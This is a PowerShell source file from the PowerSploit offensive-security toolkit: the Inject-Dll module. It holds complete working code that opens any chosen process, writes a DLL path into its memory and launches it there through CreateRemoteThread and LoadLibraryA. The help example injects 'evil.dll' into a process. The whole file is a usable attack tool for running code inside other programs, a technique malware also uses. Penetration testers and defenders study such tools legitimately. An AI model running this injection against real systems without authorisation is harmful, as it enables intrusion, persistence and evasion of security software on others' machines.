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function Inject-Dll {
<#
.Synopsis
PowerSploit Module - Inject-Dll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.Description
Inject-Dll injects a Dll into the process ID of your choosing.
.Parameter ProcessID
Process ID of the process you want to inject a Dll into.
.Parameter Dll
Name of the dll to inject. This can be an absolute or relative path.
.Example
PS> Inject-DLL 4274 evil.dll
Description
-----------
Inject 'evil.dll' into process ID 4274.
.Notes
Use the '-Verbose' option to print detailed information.
.Link
My blog: http://www.exploit-monday.com
#>
Param (
[Parameter(Position = 0, Mandatory = $True)] [Int] $ProcessID,
[Parameter(Position = 1, Mandatory = $True)] [String] $Dll
)
try {
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
} catch [System.Management.Automation.ActionPreferenceStopException] {
Write-Warning "Process does not exist!"
return
}
try {
$Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
Write-Verbose "Full path to Dll: $Dll"
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
$DllByteArray = $AsciiEncoder.GetBytes($Dll)
} catch [System.Management.Automation.ActionPreferenceStopException] {
Write-Warning "Invalid Dll path!"
return
}
function Get-DelegateType
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
}
function Get-ProcAddress
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
$64bitCPU = $true
if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false }
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr) {
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
} else {
$64bitCPU = $false
}
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return }
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Parse PE header to see if DLL was compiled 32 or 64-bit
$DllFileStream = New-Object System.IO.FileStream($Dll, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$temp = $DllFileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin)
[Byte[]]$TempByteArray = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$Temp = $DllFileStream.Read($TempByteArray,0,4)
$PEOffset = [Int] ('0x{0}' -f (( $TempByteArray[-1..-4] | % { $_.ToString('X2') } ) -join ''))
Write-Verbose "PE Offset: 0x$($PEOffset.ToString('X8'))"
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$DllFileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]]$TempByteArray2 = New-Object Byte[](2)
# Read compiled architecture
$Temp = $DllFileStream.Read($TempByteArray2,0,2)
$Architecture = '{0}' -f (( $TempByteArray2[-1..-2] | % { $_.ToString('X2') } ) -join '')
Write-Verbose "DLL Architecture: 0x$Architecture"
if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Write-Warning 'Only x86 or AMD64 architechtures supported.'; return }
$DllFileStream.Close()
# Determine is the process specified is 32 or 64 bit
$IsWow64 = $false
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ( $PowerShell32bit -and ($Architecture -eq "8664") ) {
Write-Warning 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'; return
}
if ((!$IsWow64) -and ($Architecture -eq "014C")) { Write-Warning 'You cannot inject a 32-bit DLL into a 64-bit process.'; return }
if ($IsWow64 -and ($Architecture -eq "8664")) { Write-Warning 'You cannot inject a 64-bit DLL into a 32-bit process.'; return }
}
# Get address of LoadLibraryA function
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
# Reserve and commit memory to hold name of dll
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (Reserve|Commit, RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero) { Write-Warning 'Unable to allocate memory in remote process.'; return }
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
Write-Verbose "Number of chars in Dll path: $($DllByteArray.Length)"
# Write the name of the dll to the remote process address space
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
$threadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$threadHandle) { Write-Warning 'Unable to launch remote thread.'; return }
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Dll injection complete!'
Write-Verbose 'Execute `(Get-Process -Id [ProcessId]).Modules` to confirm.'
}
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